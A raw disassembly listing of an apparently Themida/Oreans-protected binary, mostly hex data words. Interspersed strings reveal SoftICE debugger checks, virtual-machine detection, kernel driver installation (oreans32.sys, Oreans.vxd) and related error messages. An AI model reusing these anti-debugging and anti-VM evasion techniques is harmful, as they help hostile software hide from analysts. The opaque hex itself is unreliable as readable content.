		dd 17A5BDB5h, 4595FF06h, 83061503h, 1508F5BDh, 840F0006h
		dd 0Ch,	0A5BDB5FFh, 95FF0617h, 617A5C9h, 0A5BDB5FFh, 95FF0617h
		dd 6151819h, 8960C361h,	17A5C185h, 0BD858D06h, 500617A5h
		dd 0A527858Dh, 68500617h, 80000001h, 0A5CD95FFh, 46A0617h
		dd 0A5C1858Dh, 6A500617h, 8D006A04h, 17A5B085h,	0B5FF5006h
		dd 617A5BDh, 34595FFh, 0BD830615h, 61508F5h, 0C840F00h
		dd 0FF000000h, 17A5BDB5h, 0C995FF06h, 0FF0617A5h, 17A5BDB5h
		dd 1995FF06h, 61061518h, 85C760C3h, 617A5C1h, 1, 0A5BD858Dh
		dd 8D500617h, 17A52785h, 2685006h, 0FF800000h, 17A5CD95h
		dd 0FC00B06h, 0F84h, 0C185C700h, 617A5h, 0E9000000h, 4Dh
		dd 858D046Ah, 617A5C1h,	6A046A50h, 3B858D00h, 500617A5h
		dd 0A5BDB5FFh, 95FF0617h, 6150345h, 840FC00Bh, 0Fh, 0A5C185C7h
		dd 617h, 0AE90000h, 0C7000000h,	17A5C185h, 106h, 0BDB5FF00h
		dd 0FF0617A5h, 15181995h, 858B6106h, 617A5C1h, 858960C3h
		dd 617A5C1h, 0A5BD858Dh, 8D500617h, 17A52785h, 1685006h
		dd 0FF800000h, 17A5CD95h, 8D046A06h, 17A5C185h,	46A5006h
		dd 858D006Ah, 617A53Bh,	0BDB5FF50h, 0FF0617A5h,	15034595h
		dd 0F5BD8306h, 61508h, 0C840Fh,	0B5FF0000h, 617A5BDh, 0A5C995FFh
		dd 0B5FF0617h, 617A5BDh, 181995FFh, 0C3610615h,	0C1858960h
		dd 8D0617A5h, 17A5BD85h, 858D5006h, 617A527h, 16850h, 95FF8000h
		dd 617A5CDh, 858D046Ah,	617A5C1h, 6A046A50h, 4D858D00h
		dd 500617A5h, 0A5BDB5FFh, 95FF0617h, 6150345h, 8F5BD83h
		dd 0F000615h, 0C84h, 0BDB5FF00h, 0FF0617A5h, 17A5C995h
		dd 0BDB5FF06h, 0FF0617A5h, 15181995h, 0C6C36106h, 1509C585h
		dd 7685206h, 0FFADE47Bh, 151789B5h, 7D95FF06h, 8906150Dh
		dd 17A5CD85h, 0C585C606h, 52061509h, 2E00E568h,	89B5FF90h
		dd 0FF061517h, 150D7D95h, 0C9858906h, 0C60617A5h, 1509C585h
		dd 35685206h, 0FFB9BF12h, 151789B5h, 7D95FF06h,	8906150Dh
		dd 15034585h, 0C585C606h, 52061509h, 78103468h,	89B5FF98h
		dd 0FF061517h, 150D7D95h, 19858906h, 0C6061518h, 1509C585h
		dd 0D4685206h, 0FFC005DBh, 151789B5h, 7D95FF06h, 8906150Dh
		dd 15239185h, 5C1EEB06h, 535C2E5Ch, 454349h
a_Siwvid	db '\\.\SIWVID',0       ; DATA XREF: Themida_:00579B38o
a_Ntice		db '\\.\NTICE',0
		db 8Bh,	0C0h, 33h
		dd 15300DBDh, 0F5BD8306h, 61508h, 0BD830975h, 61503ADh
		dd 50197400h, 0B8C08B53h, 40Fh,	13858589h, 9D8D0615h, 617AA9Eh
		dd 585BD3FFh, 3ADBD83h,	74000615h, 0B8535017h, 40Fh, 13858589h
		dd 9D8D0615h, 617A78Dh,	585BD3FFh, 0CBF86EBFh, 66C08B79h
		dd 0BEFFCBBAh, 5743EEE5h, 9C585C6h, 81430615h, 389A16CEh
		dd 4E868h, 6EFC0000h, 8A50BC8Eh, 24448BCBh, 8BF88B04h
		dd 9E800h, 742E0000h, 296855AFh, 5E3B60D2h, 4244489h, 0F58D0958h
		dd 0FF061522h, 151685B5h, 7D858906h, 8D061512h,	153B3885h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 0B79C172Bh, 0D0FF1558h, 12E9h, 72238D00h
		dd 0B2883C67h, 0C6CB1AF5h, 0DF8F920Fh, 90694095h, 18820Fh
		dd 0EE80000h, 0B7000000h, 546F154Fh, 8BFA5B4Bh,	0BECAE279h
		dd 0C4BE66CBh, 0F505F43h, 89h, 95299000h, 61533C1h, 830F006Ah
		dd 1, 8DE468F5h, 5060BB42h, 10E952h, 0CA600000h, 3FC5C3B4h
		dd 6B5A1489h, 0F77A1C2Dh, 310FCB3Fh, 0EE9h, 0C52D0A00h
		dd 82B305F9h, 34CBA0B1h, 5A12BE53h, 4816158h, 0BD729C24h
		dd 8AB96644h, 0E9036A95h, 0Dh, 607E76DBh, 0E6D7EF37h, 21A87CEEh
		dd 0B1006A86h, 0E8036A25h, 4, 0C0000000h, 6E8h,	3D540900h
		dd 0B277FDA5h, 8B505FB5h, 66042444h, 8BF88Bh, 4489F18Bh
		dd 0D0BF0424h, 58568F7Ah, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 17h, 81C35242h, 8DAD8661h,	17AC049Dh, 0D18D3106h
		dd 50061526h, 59F5B653h, 0BE241C89h, 2AB62A85h,	0C7B9D0FFh
		dd 4017D7F8h, 30C850Fh,	6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 150424h, 52420000h, 898DA0C3h, 15340D85h
		dd 8D8B5806h, 61506D9h,	8915B650h, 0F602404h, 688h, 81BD0300h
		dd 0E806151Ch, 14h, 110EACC2h, 0B887AAF6h, 10981B28h, 0CB52CC0h
		dd 34A1E425h, 5858Bh, 615A0615h, 6AF78B66h, 6830F00h, 89000000h
		dd 152C8D8Dh, 565A6806h, 34817049h, 4956DA24h, 36AF870h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 38C35343h
		dd 5AEACA16h, 168A0F61h, 0E9000000h, 11h, 0A0789077h, 50153688h
		dd 4C546EEh, 0F85151E8h, 80006ADDh, 36A92EEh, 939BD33h
		dd 4E80615h, 0
		dd 0B1C00000h, 12E8500Dh, 59000000h, 691AA3FFh,	390FD3F4h
		dd 862C5B45h, 0AC888682h, 38F0F8Ch, 66000000h, 8B5EF88Bh
		dd 60042444h, 5840Fh, 0A0BA0000h, 61219DBAh, 8B66008Bh
		dd 244489D3h, 50525004h, 0F5F5252h, 57BF6631h, 0F585ADBh
		dd 0BE831h, 6ADE0000h, 0B0D89347h, 0A4CE838Eh, 8A0F79h
		dd 5E000000h, 6A58585Ah, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 0B0A9C357h,	0D327FE49h
		dd 7E01DC50h, 0BD8BF78Bh, 6150749h, 0AC0D9D8Dh,	0C9810617h
		dd 3CF21022h, 52525050h, 0F5E5F56h, 800F31h, 5A000000h
		dd 241C8958h, 2479958Bh, 0D0FF0615h, 77850F40h,	8B000001h
		dd 958B58CBh, 6152919h,	50CA8B90h, 9E9h, 0D5C8D400h, 2B3C782Ch
		dd 899035B6h, 1510A9BDh, 8B006A06h, 152539BDh, 98B76806h
		dd 5652D2FBh, 310F5250h, 5E5A585Ah, 0C9240481h,	602D0467h
		dd 92D7B866h, 14F71BFh,	60606127h, 4419589h, 858B0615h
		dd 6151785h, 90D38161h,	617FEC90h, 6A036Ah, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 32CF40C3h
		dd 6A367ED4h, 13E800h, 0B040000h, 9EB7B242h, 583849E2h
		dd 95A127ECh, 82A07232h, 68B96690h, 36A5907h, 97DA8166h
		dd 84D668B9h, 481ADE1h,	1E7B2A24h, 50006A12h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 0EC6F7DD7h
		dd 99D89ECh, 8D061501h,	17AC189Dh, 60EA8106h, 504E2488h
		dd 0BE8h, 1694100h, 2908D241h, 0A0E3BE32h, 895987B5h, 6A241Ch
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 0E83E31C3h, 11h, 0B9618Ah, 26E09EC5h, 0F20DCD84h, 0EC3974D0h
		dd 0C18B6016h, 3237D181h, 5A6157E9h, 0FFCF8B66h, 850F40D0h
		dd 2Eh,	2251B52Bh, 89580615h, 152FF5B5h, 164E906h, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 0D88BB4C3h, 0EF8ABEBAh, 6A4B5Dh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 0F7EE83C3h
		dd 7E0B20D3h, 85894BA3h, 61516F1h, 8BD3B658h, 150ACDBDh
		dd 0C585C606h, 43061509h, 10DDB589h, 5F680615h,	609A26BBh
		dd 51CF8B66h, 615B5956h, 0F8243481h, 0B65A50F1h, 85B5FF59h
		dd 6A061516h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 5E90C356h, 0B87C5E2Eh,	9D893147h
		dd 6152941h, 3B38858Dh,	95890615h, 6150C89h, 1CC98509h
		dd 0D0FF0615h, 11B52960h, 0F061530h, 689h, 59D0B00h, 61061500h
		dd 0B7B6E0BFh, 8B669356h, 0BE6650FEh, 6A93C893h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 0B842C357h, 0F9A9EE5Dh, 0BD8BD0FFh, 61520B9h, 720D9D8Dh
		dd 7E80615h, 61000000h,	3EFEAEF1h, 0BD8B8AC0h, 6150121h
		dd 1B85Eh, 8D890000h, 6152335h,	6AE3FFh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 150424h, 55450000h, 0E9BB7DC3h
		dd 0Ch,	0EF4114AEh, 0AC01BA31h,	49E35DD7h, 1791BD8Bh, 0C18B0615h
		dd 755928B9h, 21B58B4Dh, 8B061509h, 0E68060C0h,	0B8F6810Bh
		dd 61016D5Dh, 8F5BD83h,	75000615h, 0ADBD8309h, 61503h
		dd 53501974h, 0FB8C08Bh, 89000004h, 1502A185h, 59D8D06h
		dd 0FF0617ABh, 83585BD3h, 1503ADBDh, 17740006h,	0FB85350h
		dd 89000004h, 1502A185h, 0A69D8D06h, 0FF0617A7h, 6A585BD3h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 86B2C352h, 0F56EEF38h, 2AA9D1EEh,	9BD958Bh
		dd 8B520615h, 153405BDh, 0F5805906h, 0E9C08B06h, 20Eh
		dd 6E614333h, 20746F6Eh, 74697277h, 726F2065h, 736E6165h
		dd 6478762Eh, 614D0D0Ah, 7320656Bh, 20657275h, 74616874h
		dd 69687420h, 69662073h, 6920656Ch, 6F6E2073h, 65622074h
		dd 20676E69h, 64657375h, 20796220h, 746F6E61h, 20726568h
		dd 676F7270h, 2E6D6172h, 68h dup(0)
aOreans_vxd	db '\Oreans.vxd',0
		dd 2 dup(0)
		dd 0EFE90000h, 0C6000000h, 1509C585h, 86684706h, 0FFE3E45Bh
		dd 151685B5h, 38858D06h, 0FF06153Bh, 10468D0h, 9D8D0000h
		dd 6152B49h, 50D0FF53h,	0B4FDB58Dh, 0FE8B0617h,	0FAEC032h
		dd 0FFFFF985h, 8BFE2BFFh, 0FB8B58CFh, 0A4F3F803h, 9C585C6h
		dd 68430615h, 0BC8E6EFCh, 1685B5FFh, 858D0615h,	6153B38h
		dd 0B58DD0FFh, 6152B49h, 8068006Ah, 6A000000h, 6A006A02h
		dd 6800h, 0FF56C000h, 0C6D88BD0h, 1509C585h, 56685706h
		dd 0FFA69BEEh, 151685B5h, 38858D06h, 0FF06153Bh, 0D9BD8DD0h
		dd 8D061508h, 17B6238Dh, 57006A06h, 37D068h, 0FF535100h
		dd 0FC085D0h, 1B85h, 5B58D00h, 8D0617B3h, 17A3E185h, 8DD0FF06h
		dd 15720D8Dh, 0B806h, 0E1FF0000h, 9C585C6h, 68430615h
		dd 0C0764AA7h, 1685B5FFh, 858D0615h, 6153B38h, 0FF53D0FFh
		dd 0D0B9C3D0h, 0E8000037h, 0
		dd 0EC08358h, 2E90889h,	8B000000h
aS7		db 'ÃéÐ7',0             ; DATA XREF: Themida_:0057C0CCo
		align 2
aMzr		db 'MZ',0
		dw 3
		dd 40000h, 0FFFF0000h, 0B80000h, 0
		dd 400000h, 8 dup(0)
		dd 0B00000h, 1F0E0000h,	0B4000EBAh, 0B821CD09h,	21CD4C01h
		dd 73696854h, 6F727020h, 6D617267h, 6E616320h, 20746F6Eh
		dd 72206562h, 69206E75h, 4F44206Eh, 6F6D2053h, 0D2E6564h
		dd 240A0Dh, 0
		dd 175D0000h, 7619DB1Dh, 2 dup(76198873h), 56E58873h, 76188861h
		dd 76198873h, 76188873h, 69528873h, 76196863h, 8873h, 0
		dd 454C0000h, 0
		dd 20000h, 4, 80000000h, 140003h, 4 dup(0)
		dd 2000000h, 1C00000h, 900000h,	0
		dd 7E0000h, 0
		dd 0C40000h, 10000h, 0DC0000h, 3 dup(0)
		dd 12C0000h, 1380000h, 2 dup(0)
		dd 1420000h, 1960000h, 1D20000h, 0
		dd 1D20000h, 0
		dd 10000000h, 140000h, 37C00000h, 100000h, 0Dh dup(0)
		dd 27C00400h, 0
		dd 20450000h, 10000h, 140000h, 434C0000h, 444Fh, 1, 2
		dd 3, 4, 5, 6, 7, 8, 9,	0Ah, 0Bh, 0Ch, 0Dh, 0Eh, 0Fh, 10h
		dd 11h,	12h, 13h, 58080014h, 544F5250h,	445856h, 3010000h
		dd 30001h, 2 dup(0)
		dd 13h dup(7), 3Ch, 180007h, 7276001h, 101AD00h, 70050h
		dd 9B010191h, 6002727h,	79276F01h, 81017D01h, 89018501h
		dd 7018D01h, 1017500h, 72795h, 98010171h, 6B000727h, 27710101h
		dd 360h	dup(0)
		dd 4000000h, 10000h, 50580000h,	56544F52h, 4458h, 8000h
		dd 8 dup(0)
		dd 65760000h, 505072h, 76310000h, 76325273h, 76335273h
		dd 5273h, 9C3h dup(0)
		dd 0E8830000h, 9F8831Bh, 24FF0773h, 85h, 0C3F800h, 8 dup(0)
		dd 33000000h, 0C033C3C0h, 0C7E83C3h, 33047500h,	831AEBC0h
		dd 75010C7Eh, 58D14h, 8B000000h, 789187Eh, 42046C7h, 33000000h
		dd 580CC3C0h, 544F5250h, 5F445856h, 424444h, 5E80000h
		dd 8A000000h, 1CE9D09Dh, 2F2D8589h, 895F0615h, 15269D85h
		dd 0FCC78106h, 8A00006Ah, 0D69BBF4h, 0C3811BC7h, 0E4390D33h
		dd 0F37FFF5h, 689h, 0D950900h, 5E061530h, 0F681D38Bh, 19D8A2ECh
		dd 0CF16B966h, 1964F681h, 81666EF3h, 81BF64D1h,	17799CEEh
		dd 0F5958901h, 89061515h, 0D958937h, 81061513h,	270866EFh
		dd 0C88B6675h, 862C781h, 0DE97527h, 0A2000000h,	7F8D51ECh
		dd 0E6BEBFA6h, 0E2281957h, 9E850F4Bh, 60FFFFFFh, 2F358D89h
		dd 0E9610615h, 99h, 6775622Fh, 63656863h, 2F00326Bh, 63677562h
		dd 6B636568h, 6F662F00h, 72656372h, 2F006E75h, 63677562h
		dd 6B636568h, 6C6C7566h, 68732F00h, 6F63776Fh, 2F006564h
		dd 776F6873h, 65646F63h, 632F0032h, 74726Ch, 7369642Fh
		dd 732F0031h, 69776F68h, 6174736Eh, 65636Eh, 7465672Fh
		dd 74736C77h, 73757461h, 6F6C2F00h, 61747367h, 737574h
		dd 6D75642Fh, 61747370h, 737574h, 0
aCheckprotectio	db '/checkprotection',0
		align 4
		dd 0DBD8300h, 617EFh, 0A840Fh, 85C70000h, 61503ADh, 1
		dd 9C585C6h, 68470615h,	4A0D98A6h, 0E7240481h, 0FF465FD3h
		dd 151685B5h, 38858D06h, 0FF06153Bh, 8BD0FFD0h,	223F80F8h
		dd 22850Fh, 0B0470000h,	850FAE22h, 0FFFFFFF9h, 0F003F80h
		dd 31B84h, 3F804700h, 11840F00h, 0E9000003h, 1Eh, 0F003F80h
		dd 30384h, 203F8000h, 6850Fh, 0E9470000h, 6, 0FFE2E947h
		dd 3F80FFFFh, 5850F00h,	0E9000000h, 2E0h, 1E9h,	3F804700h
		dd 0F6840F20h, 80FFFFFFh, 850F003Fh, 5,	2C3E9h,	0AE800h
		dd 0CBE90000h, 0E9FFFFFFh, 2B4h, 0EE8DB58Dh, 25E80617h
		dd 3000002h, 17EF22BDh,	22BD8306h, 617EFh, 0B840Fh, 85C70000h
		dd 61508F5h, 1,	98B58DC3h, 0E80617EEh, 1FCh, 0EF22BD03h
		dd 0BD830617h, 617EF22h, 0B840F00h, 0C7000000h,	1503AD85h
		dd 106h, 0B58DC300h, 617EF11h, 1D3E8h, 22BD0300h, 830617EFh
		dd 17EF22BDh, 840F0006h, 0Bh, 2E9D85C7h, 10615h, 8DC30000h
		dd 17EEA2B5h, 1AAE806h,	0BD030000h, 617EF22h, 0EF22BD83h
		dd 0F000617h, 0B84h, 0AD85C700h, 1061503h, 0C3000000h
		dd 0EEACB58Dh, 81E80617h, 3000001h, 17EF22BDh, 22BD8306h
		dd 617EFh, 15840Fh, 85C70000h, 61503ADh, 1, 8F585C7h, 10615h
		dd 8DC30000h, 17EEBAB5h, 14EE806h, 0BD030000h, 617EF22h
		dd 0EF22BD83h, 0F000617h, 0A84h, 0F185C700h, 106152Fh
		dd 8D000000h, 17EEC4B5h, 126E806h, 0BD030000h, 617EF22h
		dd 0EF22BD83h, 0F000617h, 0A84h, 0F185C700h, 106152Fh
		dd 8D000000h, 17EECFB5h, 0FEE806h, 0BD030000h, 617EF22h
		dd 0EF22BD83h, 0F000617h, 0A84h, 0A985C700h, 106152Fh
		dd 8D000000h, 17EED5B5h, 0D6E806h, 0BD030000h, 617EF22h
		dd 0EF22BD83h, 0F000617h, 0A84h, 0E985C700h, 1061525h
		dd 8D000000h, 17EEDBB5h, 0AEE806h, 0BD030000h, 617EF22h
		dd 0EF22BD83h, 0F000617h, 0A84h, 3985C700h, 1061524h, 8D000000h
		dd 17EEE9B5h, 86E806h, 0BD030000h, 617EF22h, 0EF22BD83h
		dd 0F000617h, 0A84h, 5185C700h,	1061513h, 8D000000h, 17EEF6B5h
		dd 5EE806h, 0BD030000h,	617EF22h, 0EF22BD83h, 0F000617h
		dd 0A84h, 1585C700h, 106151Eh, 8D000000h, 17EF01B5h, 36E806h
		dd 0BD030000h, 617EF22h, 0EF22BD83h, 0F000617h,	0A84h
		dd 8585C700h, 1061510h,	0E9000000h, 1, 203F8047h, 9840Fh
		dd 3F800000h, 0ED850F00h, 0C3FFFFFFh, 1B960h, 0DE8B0000h
		dd 1CE9h, 3F8000h, 5850Fh, 0B90000h, 8A000000h,	0F163817h
		dd 284h, 46C92B00h, 3E8047h, 8840Fh, 0C90B0000h, 0FFD3850Fh
		dd 0C90BFFFFh, 21840Fh,	3F800000h, 9840F00h, 80000000h
		dd 850F203Fh, 0Ah, 1B9h, 5E900h, 0B90000h, 0B000000h, 0D840FC9h
		dd 2B000000h, 22B589F3h, 0E90617EFh, 0Ah, 0EF2285C7h, 617h
		dd 0C3610000h, 0B8h, 0FC00B00h,	0A84h, 0F185C700h, 6152Fh
		dd 8B000000h, 10B7E9C8h, 44410000h, 49504156h, 442E3233h
		dd 4F004C4Ch, 536E6570h, 6E614D43h, 72656761h, 72430041h
		dd 65746165h, 76726553h, 41656369h, 61745300h, 65537472h
		dd 63697672h, 47004165h, 614E7465h, 65766974h, 74737953h
		dd 6E496D65h, 4F006F66h, 536E6570h, 69767265h, 416563h
		dd 656C6544h, 65536574h, 63697672h, 6C430065h, 5365736Fh
		dd 69767265h, 61486563h, 656C646Eh, 6E6F4300h, 6C6F7274h
		dd 76726553h, 656369h, 8 dup(0)
aOreans32_sys	db 'oreans32.sys',0
		align 10h
		dd 0
		dd 65726F00h, 78736E61h, 732E3436h, 7379h, 0
		dd 6F000000h, 6E616572h, 323373h, 5C2E5C5Ch, 6165726Fh
		dd 3233736Eh, 2E5C5C00h, 6F6C475Ch, 5C6C6162h, 6165726Fh
		dd 3233736Eh, 65726F00h, 78736E61h, 5C003436h, 475C2E5Ch
		dd 61626F6Ch, 726F5C6Ch, 736E6165h, 343678h, 42h dup(0)
aSystemroot	db 'SYSTEMROOT',0
aSSystem32Drive	db '%s\system32\drivers\%s',0
aSSyswow64Drive	db '%s\syswow64\drivers\%s',0
aSSystem32Dri_0	db '%s\system32\drivers\oreans32.sys',0
		align 4
		dd 48h dup(0)
		dd 43330000h, 6F6E6E61h, 70552074h, 65746164h, 65726F20h
		dd 2E736E61h, 20737973h, 76697264h, 202E7265h, 61656C50h
		dd 202C6573h, 656B616Dh, 72757320h, 68742065h, 79207461h
		dd 6820756Fh, 0A657661h, 6D64610Dh, 73696E69h, 74617274h
		dd 7327726Fh, 72657020h, 7374696Dh, 65687420h, 72696620h
		dd 74207473h, 20656D69h, 74616874h, 756F7920h, 65726120h
		dd 696F6720h, 7420676Eh, 7572206Fh, 6874206Eh, 70207369h
		dd 72676F72h, 2E6D61h, 59h dup(0)
		dd 43330000h, 6F6E6E61h, 706F2074h, 6F206E65h, 6E616572h
		dd 78762E73h, 72642064h, 72657669h, 614D202Eh, 7320656Bh
		dd 20657275h, 74616874h, 65726F20h, 2E736E61h, 0A647876h
		dd 2073690Dh, 20746F6Eh, 6E65706Fh, 20796220h, 746F6E61h
		dd 20726568h, 676F7270h, 2E6D6172h, 67h	dup(0)
		dd 53330000h, 72756365h, 676E4565h, 20656E69h, 76697264h
		dd 63207265h, 6F6E6E61h, 65622074h, 64707520h, 64657461h
		dd 63656220h, 65737561h, 65687420h, 61206572h, 73206572h
		dd 20656D6Fh, 676F7270h, 736D6172h, 69737520h, 0D0A676Eh
		dd 202E7469h, 20756F59h, 6465656Eh, 206F7420h, 736F6C63h
		dd 68742065h, 2065736Fh, 676F7270h, 736D6172h, 20726F20h
		dd 74736572h, 20747261h, 72756F79h, 6D6F6320h, 65747570h
		dd 0D0A2E72h, 74736552h, 20747261h, 3F776F6Eh, 0D9h dup(0)
		dd 5C5C0000h, 724F5C2Eh, 736E6165h, 6478762Eh, 2 dup(0)
		dd 25000000h, 724F5C73h, 736E6165h, 6478762Eh, 2 dup(0)
		dd 58000000h, 746F7270h, 6E657645h, 74h, 0Ah dup(0)
		dd 65530000h, 74756853h, 6E776F64h, 76697250h, 67656C69h
		dd 65h,	72430000h, 65746165h, 6E657645h, 50412074h, 72452049h
		dd 20726F72h, 6C696877h, 78652065h, 63617274h, 6E6F6974h
		dd 65687420h, 69726420h, 726576h, 45746547h, 7269766Eh
		dd 656D6E6Fh, 6156746Eh, 62616972h, 4120656Ch, 45204950h
		dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h
		dd 6874206Eh, 72642065h, 72657669h, 65704F00h, 4D43536Eh
		dd 67616E61h, 41207265h, 45204950h, 726F7272h, 69687720h
		dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h
		dd 72657669h, 65724300h, 53657461h, 69767265h, 41206563h
		dd 45204950h, 726F7272h, 69687720h, 6520656Ch, 61727478h
		dd 6F697463h, 6874206Eh, 72642065h, 72657669h, 6F6C4300h
		dd 65536573h, 63697672h, 6E614865h, 20656C64h, 20495041h
		dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h
		dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 65536E65h
		dd 63697672h, 50412065h, 72452049h, 20726F72h, 6C696877h
		dd 78652065h, 63617274h, 6E6F6974h, 65687420h, 69726420h
		dd 726576h, 72617453h, 72655374h, 65636976h, 49504120h
		dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h
		dd 206E6F69h, 20656874h, 76697264h, 41007265h, 20434950h
		dd 6F727265h, 43203A72h, 6F6E6E61h, 69662074h, 5020646Eh
		dd 65636F72h, 726F7373h, 6F432073h, 6F72746Eh, 6C42206Ch
		dd 736B636Fh, 6C50202Eh, 65736165h, 630D0A2Ch, 61746E6Fh
		dd 69207463h, 406F666Eh, 6165726Fh, 632E736Eh, 66206D6Fh
		dd 7420726Fh, 20736968h, 6F727265h, 72h, 1040000h, 53330000h
		dd 7972726Fh, 6874202Ch, 61207369h, 696C7070h, 69746163h
		dd 63206E6Fh, 6F6E6E61h, 75722074h, 6E75206Eh, 20726564h
		dd 69562061h, 61757472h, 614D206Ch, 6E696863h, 65h, 6Fh	dup(0)
		dd 10000000h, 0
		dd 0FFFF0001h, 17FFEh, 10000h, 24A0000h, 0
		dd 0F0001h
		db 8, 4, 0
byte_5A9CF7	db 94h			; DATA XREF: Themida_:00579DE8o
					; Themida_:0057C7B0o
		dd 5000000h, 1000000h, 28000000h, 200000Ah, 53000000h
		dd 69767265h, 50206563h, 206B6361h, 32h, 1Ch dup(0)
		dd 53000000h, 7774666Fh, 5C657261h, 656E6957h, 56C48B00h
		dd 6E9h, 0CA10C00h, 5FC293F1h, 1D098589h, 95B50615h, 8166C08Bh
		dd 83026ECAh, 1508F5BDh, 9750006h, 3ADBD83h, 74000615h
		dd 8B535019h, 43DB8C0h,	85890000h, 6151385h, 0AA9E9D8Dh
		dd 0D3FF0617h, 0BD83585Bh, 61503ADh, 50177400h,	43DB853h
		dd 85890000h, 6151385h,	0A78D9D8Dh, 0D3FF0617h,	0BD8B585Bh
		dd 61514D5h, 2D018D89h,	0C08B0615h, 2A99B589h, 0C08B0615h
		dd 0BD83CF8Bh, 61508F5h, 83097500h, 1503ADBDh, 13740006h
		dd 0C08B5350h, 0B8h, 409D8D00h,	0FF0617A9h, 83585BD3h
		dd 1503ADBDh, 11740006h, 0B85350h, 8D000000h, 17A7F19Dh
		dd 5BD3FF06h, 59BD8B58h, 6A061518h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0CDF5C355h
		dd 0D10757F4h, 7F933C80h, 6AC08Bh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 8589BEC3h, 61526D1h
		dd 6AC08Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 0BD2B22C3h, 6152D71h, 8F5BD83h, 75000615h
		dd 0ADBD8309h, 61503h, 53501374h, 0B8C08Bh, 8D000000h
		dd 17A8729Dh, 5BD3FF06h, 0ADBD8358h, 61503h, 53501174h
		dd 0B8h, 0BF9D8D00h, 0FF0617A7h, 0E8585BD3h, 5,	0C07A279Fh
		dd 0E58509F6h, 5A061528h, 0A85BD89h, 0BD890615h, 61511E1h
		dd 0F53C08Bh, 28Ch, 59CF8B00h, 8D8BC08Bh, 6152ED9h, 8F5BD83h
		dd 75000615h, 0ADBD8309h, 61503h, 53501374h, 0B8C08Bh
		dd 8D000000h, 17A8D99Dh, 5BD3FF06h, 0ADBD8358h,	61503h
		dd 53501174h, 0B8h, 0D89D8D00h,	0FF0617A7h, 66585BD3h
		dd 0D3FBD781h, 1A25BD8Bh, 14E90615h, 0CE000000h, 0D3F14C48h
		dd 1FCCE47Ah, 676AFE42h, 0B50980A4h, 8B3792C7h,	52006AC0h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 0E226968Eh, 917CAD41h, 0C08BD78Bh, 1D850360h, 8106150Dh
		dd 0FA968EC1h, 0CA8A6125h, 8F5BD83h, 75000615h,	0ADBD8309h
		dd 61503h, 53501374h, 0B8C08Bh,	8D000000h, 17A80B9Dh, 5BD3FF06h
		dd 79BD8958h, 81061524h, 0F41E40EFh, 0FE924h, 0B6E90000h
		dd 90EEF2CBh, 251F2509h, 7AFB655h, 6AC08BB9h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 0B384C351h, 0E9B90F53h, 9, 0E9DF7337h, 0F5806051h, 89C08B60h
		dd 15023D8Dh, 0F5BD8306h, 61508h, 0BD830975h, 61503ADh
		dd 50197400h, 0B8C08B53h, 7D0h,	13858589h, 9D8D0615h, 617AA9Eh
		dd 585BD3FFh, 3ADBD83h,	74000615h, 0B8535017h, 7D0h, 13858589h
		dd 9D8D0615h, 617A78Dh,	585BD3FFh, 0A9E98166h, 0D2EA8061h
		dd 8166C08Bh, 0C65D17D7h, 1509C585h, 0CA815306h, 25DABC72h
		dd 840F60h, 8B000000h, 15019185h, 90686106h, 0E999395Fh
		dd 14h,	0B2FFE26Ch, 208FAD52h, 0A1B2FCB7h, 0E0B491BAh
		dd 9F4C2E9Ch, 1685B5FFh, 8B600615h, 85BD89F2h, 61061508h
		dd 3B38858Dh, 952B0615h, 61518F5h, 0CEB1D0FFh, 2C98589h
		dd 8B660615h, 0C585C6D6h, 57061509h, 0D8D8D89h,	6680615h
		dd 81900452h, 0E4CFF9EAh, 85B5FF3Eh, 0F061516h,	858DF9BFh
		dd 6153B38h, 26C58D89h,	0D0FF0615h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 69C35545h, 840F34F2h, 6, 2C71BD8Bh
		dd 850F0615h, 6, 26B58D8Bh, 85890615h, 61508BDh, 7AFABA66h
		dd 198F0Fh, 14E90000h, 0E1000000h, 0E36EB5C6h, 0F2896510h
		dd 0DECCF514h, 51588380h, 0C61E9FA1h, 1509C585h, 8D8B4306h
		dd 6153479h, 8121BF66h,	90702868h, 0FFD68BBCh, 151685B5h
		dd 18D8906h, 81061501h,	0B7BF09D1h, 38858D4Ch, 8B06153Bh
		dd 151D8195h, 6AD0FF06h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 7C03C355h, 3C7CC2EFh
		dd 0FFD78166h, 75EE806Ah, 339D8589h, 0C6F50615h, 1509C585h
		dd 81664C06h, 684F36F7h, 0D9DA1CE9h, 6DF8166h, 85B5FFCEh
		dd 8B061516h, 150C1195h, 38858D06h, 6606153Bh, 0FF17CAB9h
